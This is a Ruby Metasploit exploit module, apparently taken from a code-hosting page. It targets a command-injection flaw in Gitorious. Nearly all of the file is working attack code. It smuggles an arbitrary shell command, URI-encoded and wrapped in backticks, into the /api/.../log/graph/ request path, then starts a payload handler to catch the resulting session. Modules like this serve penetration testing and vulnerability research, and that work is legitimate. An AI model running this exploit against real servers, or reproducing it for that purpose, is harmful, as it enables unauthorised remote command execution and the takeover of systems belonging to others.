77 lines
2.1 KiB
Ruby
77 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Gitorious Arbitrary Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability
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in gitorious. Unvalidated input is passed to the shell allowing
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command execution.
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},
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'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '78480' ],
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[ 'URL', 'http://gitorious.org/gitorious/mainline/commit/647aed91a4dc72e88a27476948dfbacd5d0bf7ce' ]
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],
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'Privileged' => false,
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'Payload' =>
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{
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'BadChars' => "\x60",
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'DisableNops' => true,
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'Space' => 31337,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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}
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},
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'Platform' => %w{ linux unix },
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'Arch' => ARCH_CMD,
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'DefaultTarget' => 0,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Jan 19 2012'
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))
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register_options(
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[
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OptString.new('URI', [true, "Path to project and repository", "/project/repo"]),
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], self.class)
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end
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def exploit
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# Make sure the URI begins with a slash
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uri = normalize_uri(datastore['URI'])
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command = Rex::Text.uri_encode(payload.raw, 'hex-noslashes')
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command.gsub!("%20","%2520")
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res = send_request_cgi({
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'uri' => "/api"+ uri + "/log/graph/%60#{command}%60",
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'method' => 'GET',
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'headers' =>
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{
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'Connection' => 'Close',
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}
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}) #default timeout, we don't care about the response
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if (res)
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print_status("The server returned: #{res.code} #{res.message}")
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end
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handler
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end
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end
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